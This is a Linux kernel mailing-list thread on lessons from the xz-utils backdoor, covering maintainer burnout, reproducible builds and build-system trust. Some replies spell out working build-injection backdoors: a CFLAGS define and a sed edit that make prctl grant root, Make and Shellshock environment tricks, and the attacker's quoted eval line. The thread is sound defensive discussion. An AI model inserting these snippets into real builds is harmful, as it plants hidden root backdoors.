xz meltdown/Lasse Collin

xz meltdown/Lasse Collin

[H. Peter Anvin]

Hi,

Does anyone know if anyone has reached out to Lasse Collin (original xz-utils maintainer) and see if he needs any material assistance?

Re: xz meltdown/Lasse Collin

[James Bottomley]

On Fri, 2024-04-12 at 10:36 -0700, H. Peter Anvin wrote:
> Hi,
> 
> Does anyone know if anyone has reached out to Lasse Collin (original
> xz-utils maintainer) and see if he needs any material assistance?

After the abuse campaign was exposed, he seems to have found a
community of supporters and is getting back into the swing of
development (at least now that the github repos and accounts have been
restored):

https://github.com/tukaani-project/xz/commit/e93e13c8b3bec925c56e0c0b675d8000a0f7f754
https://github.com/tukaani-project/xz/issues/105

For the ecosystem, I think the main lessons are

   1. Trust is not a useful security metric.  Note Trust is still
      useful for ensuring people have the skills and ability to
      contribute, it's just not a guarantor of future good behaviour.
      This means we should always have independent reviews for every
      commit.
   2. We need better build artifact transparency generally but  I think
      the kernel is fine here: we still use make so don't have the huge
      build artifact issue that allowed the exploit in and we have a
      documented signing process for our build artifacts (kernel
      tarballs).
   3. The indirect library dependency problem doesn't apply to us.

If you're asking what the TAB could do, I think OpenSSF needs a
complete makeover. The badge thing is futile and wouldn't have helped
here. What we need is pro-active identification of and support for
projects at risk of this type of maintainer burnout attack. We could
also do with some resources looking at the library dependency problem
and the complex build system (autoconf, meson, etc) artifact issue.

Regards,

James

Re: xz meltdown/Lasse Collin

[H. Peter Anvin]

On April 13, 2024 6:16:09 AM PDT, James Bottomley <James.Bottomley@HansenPartnership.com> wrote:
>On Fri, 2024-04-12 at 10:36 -0700, H. Peter Anvin wrote:
>> Hi,
>> 
>> Does anyone know if anyone has reached out to Lasse Collin (original
>> xz-utils maintainer) and see if he needs any material assistance?
>
>After the abuse campaign was exposed, he seems to have found a
>community of supporters and is getting back into the swing of
>development (at least now that the github repos and accounts have been
>restored):
>
>https://github.com/tukaani-project/xz/commit/e93e13c8b3bec925c56e0c0b675d8000a0f7f754
>https://github.com/tukaani-project/xz/issues/105
>
>For the ecosystem, I think the main lessons are
>
>   1. Trust is not a useful security metric.  Note Trust is still
>      useful for ensuring people have the skills and ability to
>      contribute, it's just not a guarantor of future good behaviour.
>      This means we should always have independent reviews for every
>      commit.
>   2. We need better build artifact transparency generally but  I think
>      the kernel is fine here: we still use make so don't have the huge
>      build artifact issue that allowed the exploit in and we have a
>      documented signing process for our build artifacts (kernel
>      tarballs).
>   3. The indirect library dependency problem doesn't apply to us.
>
>If you're asking what the TAB could do, I think OpenSSF needs a
>complete makeover. The badge thing is futile and wouldn't have helped
>here. What we need is pro-active identification of and support for
>projects at risk of this type of maintainer burnout attack. We could
>also do with some resources looking at the library dependency problem
>and the complex build system (autoconf, meson, etc) artifact issue.
>
>Regards,
>
>James
>
>

Well, in the more short term: are there any financial/material help that can be provided? 

On a bigger scale, perhaps LF could use to have an "emergency support plan" for isolated developers whose projects find themselves under attack. Let's say someone might need to take a brief leave of absence from their day job due to such an emergency, for example.

Re: xz meltdown/Lasse Collin

[James Bottomley]

On Sat, 2024-04-13 at 06:47 -0700, H. Peter Anvin wrote:
> On April 13, 2024 6:16:09 AM PDT, James Bottomley
> <James.Bottomley@HansenPartnership.com> wrote:
> > On Fri, 2024-04-12 at 10:36 -0700, H. Peter Anvin wrote:
> > > Hi,
> > > 
> > > Does anyone know if anyone has reached out to Lasse Collin
> > > (original xz-utils maintainer) and see if he needs any material
> > > assistance?
> > 
> > After the abuse campaign was exposed, he seems to have found a
> > community of supporters and is getting back into the swing of
> > development (at least now that the github repos and accounts have
> > been restored):
> > 
> > https://github.com/tukaani-project/xz/commit/e93e13c8b3bec925c56e0c0b675d8000a0f7f754
> > https://github.com/tukaani-project/xz/issues/105
> > 
> > For the ecosystem, I think the main lessons are
> > 
> >   1. Trust is not a useful security metric.  Note Trust is still
> >      useful for ensuring people have the skills and ability to
> >      contribute, it's just not a guarantor of future good
> > behaviour.
> >      This means we should always have independent reviews for every
> >      commit.
> >   2. We need better build artifact transparency generally but  I
> > think
> >      the kernel is fine here: we still use make so don't have the
> > huge
> >      build artifact issue that allowed the exploit in and we have a
> >      documented signing process for our build artifacts (kernel
> >      tarballs).
> >   3. The indirect library dependency problem doesn't apply to us.
> > 
> > If you're asking what the TAB could do, I think OpenSSF needs a
> > complete makeover. The badge thing is futile and wouldn't have
> > helped here. What we need is pro-active identification of and
> > support for projects at risk of this type of maintainer burnout
> > attack. We could also do with some resources looking at the library
> > dependency problem and the complex build system (autoconf, meson,
> > etc) artifact issue.
> > 
> > Regards,
> > 
> > James
> > 
> > 
> 
> Well, in the more short term: are there any financial/material help
> that can be provided? 

If he enables github sponsorship, you could donate, yes.

> On a bigger scale, perhaps LF could use to have an "emergency support
> plan" for isolated developers whose projects find themselves under
> attack.

I gave an idea for that above.  But the first key step is pro-active
identification.  The MO of the burnout attack was to try to make the
attacker the single help resource; people in this position tend not to
know they need to ask for other help.  So the first step has to be pro-
active in looking for them (which is also useful for providing a risk
report about the entire ecosystem).

>  Let's say someone might need to take a brief leave of absence from
> their day job due to such an emergency, for example.

I think for small project curation services, the LF isn't particularly
effective (it likes larger projects) but the Software Freedom
conservancy seems to do a great job:

https://sfconservancy.org/projects/current/

Unfortunately they're better known for other things.

For projects that want independence some sort of grant system (like n
months of hosting or a security training system) might be useful if
well advertised and easy to obtain.

I suppose we could always ask the question could a maintainer vetting
system be made to work?  I suspect given how development works, the
answer is that it wouldn't really be effective, but it might be worth
exploring.

James

Re: xz meltdown/Lasse Collin

[Theodore Ts'o]

On Sat, Apr 13, 2024 at 10:12:44AM -0400, James Bottomley wrote:
> 
> I gave an idea for that above.  But the first key step is pro-active
> identification.  The MO of the burnout attack was to try to make the
> attacker the single help resource; people in this position tend not to
> know they need to ask for other help.  So the first step has to be pro-
> active in looking for them (which is also useful for providing a risk
> report about the entire ecosystem).

It's important not to over-index on the specifics of how the xz-utils
attack was carried out.  Yes, this time the attack was carried out by
trying to identify someone who was close to being burned out.  It also
involved generated files and autotools.  But that's not the only way
such an attack could be carried out.

If we're talking about a nation-state with a vast amount of resources
and patience, the next time the attack might involve someone just
becoming a trusted contributor and contributing years of good work and
reviews before trying to submit a change which introduces some other
kind of back door or bug.

Perhaps the next attack will involve getting an agent hired by a major
AI chip vendor, and the backdoor will be hidden inside the proprietary
binaries distributed by that AI chip vendor to download firmware into
that company's GPU.  (And if these propietary drivers and binaries are
used by a large number of hyperscale cloud vendors, a backdoor into
that GPU driver or the GPU's support binaries would
be.... devastating.)

That's not to say that we shouldn't find ways to better support
https://xkcd.com/2347.  Or that we interrogate whether autotools is
the best long-term solution, or how to come up with a better solution
without going down the systemd approach of "we only care about Linux
and all other OS's are Not Our PRoblem).  Or that we should have tools
that look for differences between binaries built for distributions
versus built out of the git tree, perhaps by looking for behavioral or
performacne differences.

But let's not over-focus on the burnout attack, or the "only activate
if the build infrastructure is Debian or Fedora" attributes of what
happened this time around.  It is very likely that the next attempt to
subvert software supply chain will be quite different.

		 	      	      - Ted

Re: xz meltdown/Lasse Collin

[Vegard Nossum]

On 13/04/2024 15:16, James Bottomley wrote:
>     2. We need better build artifact transparency generally but  I think
>        the kernel is fine here: we still use make so don't have the huge
>        build artifact issue that allowed the exploit in and we have a
>        documented signing process for our build artifacts (kernel
>        tarballs).
>     3. The indirect library dependency problem doesn't apply to us.

While this is technically true, there are many other ways to compromise
the kernel build process:

1) you can pass code in through the CFLAGS environment variable, one
example that I came up with together with Michael Ellerman would be:

   -DSET_ENDIAN(x,y)=-22,commit_creds((void*)init_task.cred)

when building kernel/sys.c on x86, this is will turn any userspace call
of prctl(PR_SET_ENDIAN), which normally just returns -EINVAL, into a
backdoor quietly making the calling process root.

All you need for an injection site is a preprocessor define that is
conditionally set with #ifndef FOO/#define FOO.

This does not appear in any source file or build output directly and so
likely wouldn't get caught by SBOM-type solutions. There are already
commit_creds() calls in kernel/sys.c so it does not look particularly
out of place when glancing over the object code either.

Fuzzers would likely not find this if you just conditioned the backdoor
on some config option like KCOV or KASAN.

There are also variations here where you might override CFLAGS_sys.o
instead of plain CFLAGS, or you could change LDFLAGS to link in other
(precompiled) object files, or you could place a malicious compiler
wrapper in PATH... the possibilities are endless.

2) you can pass a whole bunch of environment variables into Make, which
will be interpolated (!) by Make and do arbitrary things like running
shell scripts:

   $ MAKE_VERSION='$(shell echo hi >&2))' make kernel/fork.o
   hi
   ...

or:

   $ sub_make_done='$(eval $(warning asdf))' make kernel/fork.o
   Makefile:45: asdf
     CALL    scripts/checksyscalls.sh
     DESCEND objtool
   ...

3) there are many ways to set environment variables, it could be
anywhere in the chain leading up to the 'make' call, including
/etc/environment.d/ files installed by malicious packages or things like
/etc/bash_completion.d/ files (although these are typically only read by
interactive shells)

4) a kernel build relies on a huge amount of code run at build time. I
count 32 shared libraries on my machine. Any one of them could contain
malicious code to hijack the kernel build to insert a backdoor like the
one above. One of my favourites is probably pkg-config, which gets
called by the kernel build system and which has a search path where a
malicious third-party package (not related to the kernel or kernel build
at all!) could potentially install a malicious file that alters the
Cflags: property of a package to inject a Makefile or shell fragment
into the build.

5) If you have /bin/sh linked to bash, then Shellshock makes a reapparance:

   $ env 'BASH_FUNC_uname%%=() { echo foobar >&2; }' make kernel/fork.o
   foobar
     SYNC    include/config/auto.conf.cmd
   ..

So yes, while the kernel itself is "probably fine" to some extent, it
would be quite easy for a malicious package on the build host (and not
just the compiler/toolchain!) to inject malicious code into a kernel build.

I know it's impossible to protect against everything. I also know people
are likely already aware (at least on some level) that we can't really
do anything if the build host/configuration/environment or toolchain is
already compromised. I don't think most people realize exactly how easy
it would be, though, while also keeping it relatively stealthy.


Vegard

Re: xz meltdown/Lasse Collin

[James Bottomley]

On Sat, 2024-04-13 at 20:11 -0400, Theodore Ts'o wrote:
> On Sat, Apr 13, 2024 at 10:12:44AM -0400, James Bottomley wrote:
> > 
> > I gave an idea for that above.  But the first key step is pro-
> > active identification.  The MO of the burnout attack was to try to
> > make the attacker the single help resource; people in this position
> > tend not to know they need to ask for other help.  So the first
> > step has to be pro-active in looking for them (which is also useful
> > for providing a risk report about the entire ecosystem).
> 
> It's important not to over-index on the specifics of how the xz-utils
> attack was carried out.  Yes, this time the attack was carried out by
> trying to identify someone who was close to being burned out.  It
> also involved generated files and autotools.  But that's not the only
> way such an attack could be carried out.

I'm not saying it is. I'm saying now we've seen an attack vector we
aren't defending, we need to investigate strengthening our response
along it. I mean there are potentially good things the choices point
to: like nothing was committed to the repo because the attackers feared
that would attract more scrutiny, so they went for something indirect.

> If we're talking about a nation-state with a vast amount of resources
> and patience, the next time the attack might involve someone just
> becoming a trusted contributor and contributing years of good work
> and reviews before trying to submit a change which introduces some
> other kind of back door or bug.

I don't think we are talking a nation state: they tend to be way better
resourced and more impatient.  So at least for technology they'd go for
corruption rather than sleeper infiltration.  This looks more like a
blackhat entity challenge.  But regardless a nation state corruption
attack could also come at us along the same initial vector.

> Perhaps the next attack will involve getting an agent hired by a
> major AI chip vendor, and the backdoor will be hidden inside the
> proprietary binaries distributed by that AI chip vendor to download
> firmware into that company's GPU.  (And if these propietary drivers
> and binaries are used by a large number of hyperscale cloud vendors,
> a backdoor into that GPU driver or the GPU's support binaries would
> be.... devastating.)

Ideally I'd like it if there were someone watching all the doors for
the next one, but our particular job here is to close this stable door
to prevent the next horse from bolting again.

> That's not to say that we shouldn't find ways to better support
> https://xkcd.com/2347.

That's the wrong lesson: xz is just one of a number of compression
tools and it isn't the compression tool du jour, it's now an also ran.
The library that reached sshd just happened to pull it in for
compatibility.  So our problem isn't with essential, it's with
peripheral but still present.

If you try to think like the attacker: they were looking for an ssh
backdoor (they already had the payload, they were looking for
delivery), so they first charted all the indirect dependencies of sshd
in the target system then they identified a bunch of potentially
vulnerable projects and then gamed what to do with each before lighting
on xz to invest their time in.  In this scenario, I think the fact that
that the indirect dependency was distro patched rather than upstream
was somewhat accidental.

>   Or that we interrogate whether autotools is the best long-term
> solution, or how to come up with a better solution without going down
> the systemd approach of "we only care about Linux and all other OS's
> are Not Our PRoblem).  Or that we should have tools that look for
> differences between binaries built for distributions versus built out
> of the git tree, perhaps by looking for behavioral or
> performacne differences.

I think there is considerable focus on proveability, reproduceability
and transparency in builds, which will eventually fix this issue
without our needing to do anything, yes.

> But let's not over-focus on the burnout attack, or the "only activate
> if the build infrastructure is Debian or Fedora" attributes of what
> happened this time around.  It is very likely that the next attempt
> to subvert software supply chain will be quite different.

I think it will come along a similar vector.  Probably corruption of a
disaffected maintainer rather than burnout, but we should still try to
fix that.  Beyond the kernel trying to rein in our indirect
dependencies (and the code they can execute without ever being used by
the target binary) would also be a good thing.

James

Re: xz meltdown/Lasse Collin

[James Bottomley]

On Sun, 2024-04-14 at 12:21 +0200, Vegard Nossum wrote:
> On 13/04/2024 15:16, James Bottomley wrote:
> >     2. We need better build artifact transparency generally but  I
> > think
> >        the kernel is fine here: we still use make so don't have the
> > huge
> >        build artifact issue that allowed the exploit in and we have
> > a
> >        documented signing process for our build artifacts (kernel
> >        tarballs).
> >     3. The indirect library dependency problem doesn't apply to us.
> 
> While this is technically true, there are many other ways to
> compromise the kernel build process:

#define injection and environmental injection have to be done on the
build system (I mean so did the xz payload injection but it found a
carrier in the autoconf files).  We're getting better at hermetic
builds and other things that make direct build system tampering more
difficult to pull off.  Hopefully, one day soon, we'll get to
reproduceable builds that someone outside the distro will be able to
check every distro binary ... and that would pick up almost any type of
build system injection attack.

James

Re: xz meltdown/Lasse Collin

[Kees Cook]

On Sun, Apr 14, 2024 at 10:45:30AM -0400, James Bottomley wrote:
> On Sun, 2024-04-14 at 12:21 +0200, Vegard Nossum wrote:
> > On 13/04/2024 15:16, James Bottomley wrote:
> > >     2. We need better build artifact transparency generally but  I
> > > think
> > >        the kernel is fine here: we still use make so don't have the
> > > huge
> > >        build artifact issue that allowed the exploit in and we have
> > > a
> > >        documented signing process for our build artifacts (kernel
> > >        tarballs).
> > >     3. The indirect library dependency problem doesn't apply to us.
> > 
> > While this is technically true, there are many other ways to
> > compromise the kernel build process:
> 
> #define injection and environmental injection have to be done on the
> build system (I mean so did the xz payload injection but it found a
> carrier in the autoconf files).  We're getting better at hermetic
> builds and other things that make direct build system tampering more
> difficult to pull off.  Hopefully, one day soon, we'll get to
> reproduceable builds that someone outside the distro will be able to
> check every distro binary ... and that would pick up almost any type of
> build system injection attack.

The kernel has worked fine for years with regard to reproducible
builds[1]. I regularly inter-build binary comparisons[2]. The main
thing needed is keeping these build variables fixed, e.g.:

KBUILD_BUILD_TIMESTAMP=1980-01-01
KBUILD_BUILD_USER=user
KBUILD_BUILD_HOST=host
KBUILD_BUILD_VERSION=1

All this said, such things would catch a malicious build host, but not
malicious build dependencies. For example, the groundwork was already
being laid[3] by "Jai Tan" to inject a build-time attack:

+eval "$($XZ --robot --version)" || exit

Any tool installed on the distro that the kernel depends on could
manipulate the build environment. We could certainly enforce better
sanity checks (i.e. sh-lint all the shell scripts), but defending
against obfuscated backdoors has always been tricky.

-Kees

[1] https://docs.kernel.org/kbuild/reproducible-builds.html
[2] https://outflux.net/blog/archives/2022/06/24/finding-binary-differences/
[3] https://lore.kernel.org/lkml/20240320183846.19475-12-lasse.collin@tukaani.org/

-- 
Kees Cook

Re: xz meltdown/Lasse Collin

[Michael Ellerman]

Vegard Nossum <vegard.nossum@oracle.com> writes:
> On 13/04/2024 15:16, James Bottomley wrote:
>>     2. We need better build artifact transparency generally but  I think
>>        the kernel is fine here: we still use make so don't have the huge
>>        build artifact issue that allowed the exploit in and we have a
>>        documented signing process for our build artifacts (kernel
>>        tarballs).
>>     3. The indirect library dependency problem doesn't apply to us.
>
> While this is technically true, there are many other ways to compromise
> the kernel build process:
>
> 1) you can pass code in through the CFLAGS environment variable, one
> example that I came up with together with Michael Ellerman would be:
>
>    -DSET_ENDIAN(x,y)=-22,commit_creds((void*)init_task.cred)
>
> when building kernel/sys.c on x86, this is will turn any userspace call
> of prctl(PR_SET_ENDIAN), which normally just returns -EINVAL, into a
> backdoor quietly making the calling process root.
>
> All you need for an injection site is a preprocessor define that is
> conditionally set with #ifndef FOO/#define FOO.
>
> This does not appear in any source file or build output directly and so
> likely wouldn't get caught by SBOM-type solutions.

It would appear in the build log of a V=1 build. Someone would still
need to spot it, but at least there'd be a chance.

Debian kernels seem to use KBUILD_VERBOSE=1 by default. Judging from the
log (249MB!):
  https://buildd.debian.org/status/fetch.php?pkg=linux&arch=amd64&ver=6.7.9-2&stamp=1710355583&raw=1

  # CC      kernel/sys.o
     x86_64-linux-gnu-gcc-13 -Wp,-MMD,kernel/.sys.o.d -nostdinc -I/<<PKGBUILDDIR>>/arch/x86/include -I./arch/x86/include/generated -I/<<PKGBUILDDIR>>/include -I./include -I/<<PKGBUILDDIR>>/arch/x86/
  include/uapi -I./arch/x86/include/generated/uapi -I/<<PKGBUILDDIR>>/include/uapi -I./include/generated/uapi -include /<<PKGBUILDDIR>>/include/linux/compiler-version.h -include /<<PKGBUILDDIR>>/inc
  lude/linux/kconfig.h -include /<<PKGBUILDDIR>>/include/linux/compiler_types.h -D__KERNEL__ -fmacro-prefix-map=/<<PKGBUILDDIR>>/= -std=gnu11 -fshort-wchar -funsigned-char -fno-common -fno-PIE -fno-
  strict-aliasing -mno-sse -mno-mmx -mno-sse2 -mno-3dnow -mno-avx -fcf-protection=branch -fno-jump-tables -m64 -falign-jumps=1 -falign-loops=1 -mno-80387 -mno-fp-ret-in-387 -mpreferred-stack-boundar
  y=3 -mskip-rax-setup -mtune=generic -mno-red-zone -mcmodel=kernel -Wno-sign-compare -fno-asynchronous-unwind-tables -mindirect-branch=thunk-extern -mindirect-branch-register -mindirect-branch-cs-p
  refix -mfunction-return=thunk-extern -fno-jump-tables -mharden-sls=all -fpatchable-function-entry=16,16 -fno-delete-null-pointer-checks -O2 -fno-allow-store-data-races -fstack-protector-strong -ft
  rivial-auto-var-init=zero -fno-stack-clash-protection -pg -mrecord-mcount -mfentry -DCC_USING_FENTRY -falign-functions=16 -fstrict-flex-arrays=3 -fno-strict-overflow -fno-stack-check -fconserve-st
  ack -Wall -Wundef -Werror=implicit-function-declaration -Werror=implicit-int -Werror=return-type -Werror=strict-prototypes -Wno-format-security -Wno-trigraphs -Wno-frame-address -Wno-address-of-pa
  cked-member -Wframe-larger-than=2048 -Wno-main -Wno-unused-but-set-variable -Wno-unused-const-variable -Wno-dangling-pointer -Wvla -Wno-pointer-sign -Wcast-function-type -Wno-array-bounds -Wno-all
  oc-size-larger-than -Wimplicit-fallthrough=5 -Werror=date-time -Werror=incompatible-pointer-types -Werror=designated-init -Wenum-conversion -Wno-unused-but-set-variable -Wno-unused-const-variable
  -Wno-restrict -Wno-packed-not-aligned -Wno-format-overflow -Wno-format-truncation -Wno-stringop-overflow -Wno-stringop-truncation -Wno-missing-field-initializers -Wno-type-limits -Wno-shift-negati
  ve-value -Wno-maybe-uninitialized -Wno-sign-compare -g -fdebug-prefix-map=/<<PKGBUILDDIR>>/= -I /<<PKGBUILDDIR>>/kernel -I ./kernel    -DKBUILD_MODFILE='"kernel/sys"' -DKBUILD_BASENAME='"sys"' -DK
  BUILD_MODNAME='"sys"' -D__KBUILD_MODNAME=kmod_sys -c -o kernel/sys.o /<<PKGBUILDDIR>>/kernel/sys.c


Though obviously that just motivates an attacker to inject their payload
via some other mechanism, eg. by modifying the source eariler in the
build:

 $ sed -i -e "s/SET_ENDIAN(me, arg2)/-22;commit_creds((void*)init_task.cred)/" kernel/sys.c

On the other hand it looks like Fedora kernels are not built with V=1.
Just looking at the log (search for '-j48 bzImage'):
  https://kojipkgs.fedoraproject.org//packages/kernel/6.8.5/301.fc40/data/logs/x86_64/build.log


cheers

Re: xz meltdown/Lasse Collin

[James Bottomley]

On Mon, 2024-04-15 at 11:00 -0700, Kees Cook wrote:
> On Sun, Apr 14, 2024 at 10:45:30AM -0400, James Bottomley wrote:
> > On Sun, 2024-04-14 at 12:21 +0200, Vegard Nossum wrote:
> > > On 13/04/2024 15:16, James Bottomley wrote:
> > > >     2. We need better build artifact transparency generally but
> > > >  I think the kernel is fine here: we still use make so don't
> > > > have the huge build artifact issue that allowed the exploit in
> > > > and we have a documented signing process for our build
> > > > artifacts (kernel tarballs).
> > > >     3. The indirect library dependency problem doesn't apply to
> > > > us.
> > > 
> > > While this is technically true, there are many other ways to
> > > compromise the kernel build process:
> > 
> > #define injection and environmental injection have to be done on
> > the build system (I mean so did the xz payload injection but it
> > found a carrier in the autoconf files).  We're getting better at
> > hermetic builds and other things that make direct build system
> > tampering more difficult to pull off.  Hopefully, one day soon,
> > we'll get to reproduceable builds that someone outside the distro
> > will be able to check every distro binary ... and that would pick
> > up almost any type of build system injection attack.
> 
> The kernel has worked fine for years with regard to reproducible
> builds[1]. I regularly inter-build binary comparisons[2]. The main
> thing needed is keeping these build variables fixed, e.g.:
> 
> KBUILD_BUILD_TIMESTAMP=1980-01-01
> KBUILD_BUILD_USER=user
> KBUILD_BUILD_HOST=host
> KBUILD_BUILD_VERSION=1
> 
> All this said, such things would catch a malicious build host, but
> not malicious build dependencies. For example, the groundwork was
> already being laid[3] by "Jai Tan" to inject a build-time attack:
> 
> +eval "$($XZ --robot --version)" || exit

Fortunately vigilance on commit review caught that one ...

> Any tool installed on the distro that the kernel depends on could
> manipulate the build environment. We could certainly enforce better
> sanity checks (i.e. sh-lint all the shell scripts), but defending
> against obfuscated backdoors has always been tricky.

So on this point, I think we can't help much with build tools (except
being careful in trying to avoid making them a large set of
dependencies).  The distros have to rely on their own vetting for tool
based build contamination.

For the build scripts, we mostly have them checked into our tree; the
only exceptions being the spec/rules files.  I've been tending to push
back on Google demands (in the name of SLSA) to include these files in
other project repositories because they're very distro specific so it
looks like a scaling problem.  I'm still inclined to think that as long
as a distro has a commit process around their spec/rules files and the
build environment, that's good enough and they don't have to be in our
tree, but I suppose it's a point to be considered at least.

Regards,

James

Re: xz meltdown/Lasse Collin

[Michael Ellerman]

James Bottomley <James.Bottomley@HansenPartnership.com> writes:
> On Mon, 2024-04-15 at 11:00 -0700, Kees Cook wrote:
>> On Sun, Apr 14, 2024 at 10:45:30AM -0400, James Bottomley wrote:
>> > On Sun, 2024-04-14 at 12:21 +0200, Vegard Nossum wrote:
>> > > On 13/04/2024 15:16, James Bottomley wrote:
>> > > >     2. We need better build artifact transparency generally but
>> > > >  I think the kernel is fine here: we still use make so don't
>> > > > have the huge build artifact issue that allowed the exploit in
>> > > > and we have a documented signing process for our build
>> > > > artifacts (kernel tarballs).
>> > > >     3. The indirect library dependency problem doesn't apply to
>> > > > us.
>> > > 
>> > > While this is technically true, there are many other ways to
>> > > compromise the kernel build process:
>> > 
>> > #define injection and environmental injection have to be done on
>> > the build system (I mean so did the xz payload injection but it
>> > found a carrier in the autoconf files).  We're getting better at
>> > hermetic builds and other things that make direct build system
>> > tampering more difficult to pull off.  Hopefully, one day soon,
>> > we'll get to reproduceable builds that someone outside the distro
>> > will be able to check every distro binary ... and that would pick
>> > up almost any type of build system injection attack.
>> 
>> The kernel has worked fine for years with regard to reproducible
>> builds[1]. I regularly inter-build binary comparisons[2]. The main
>> thing needed is keeping these build variables fixed, e.g.:
>> 
>> KBUILD_BUILD_TIMESTAMP=1980-01-01
>> KBUILD_BUILD_USER=user
>> KBUILD_BUILD_HOST=host
>> KBUILD_BUILD_VERSION=1
>> 
>> All this said, such things would catch a malicious build host, but
>> not malicious build dependencies. For example, the groundwork was
>> already being laid[3] by "Jai Tan" to inject a build-time attack:
>> 
>> +eval "$($XZ --robot --version)" || exit
>
> Fortunately vigilance on commit review caught that one ...
>
>> Any tool installed on the distro that the kernel depends on could
>> manipulate the build environment. We could certainly enforce better
>> sanity checks (i.e. sh-lint all the shell scripts), but defending
>> against obfuscated backdoors has always been tricky.
>
> So on this point, I think we can't help much with build tools (except
> being careful in trying to avoid making them a large set of
> dependencies).

On that note, I notice that Fedora builds numerous non-kernel packages
as part of the kernel build, ie. in the same chroot.

I see: perf, libperf, python3-perf, bpftool, rtla, rv.

Which adds numerous dependencies:
  audit-libs-devel
  binutils-devel
  bison
  flex
  gettext
  java-devel
  libbabeltrace-devel
  libbpf-devel
  libcap-devel
  libcap-ng-devel
  libtraceevent-devel
  libtracefs-devel
  ncurses-devel
  newt-devel
  perl(ExtUtils::Embed)
  python3-docutils
  python3-setuptools
  xz-devel
  zlib-devel

From a quick look Debian does something similar.

Arguably that's a distro bug, ie. they should be built separately, but
AIUI it stems from the fact that they are all kept in the kernel tree.

cheers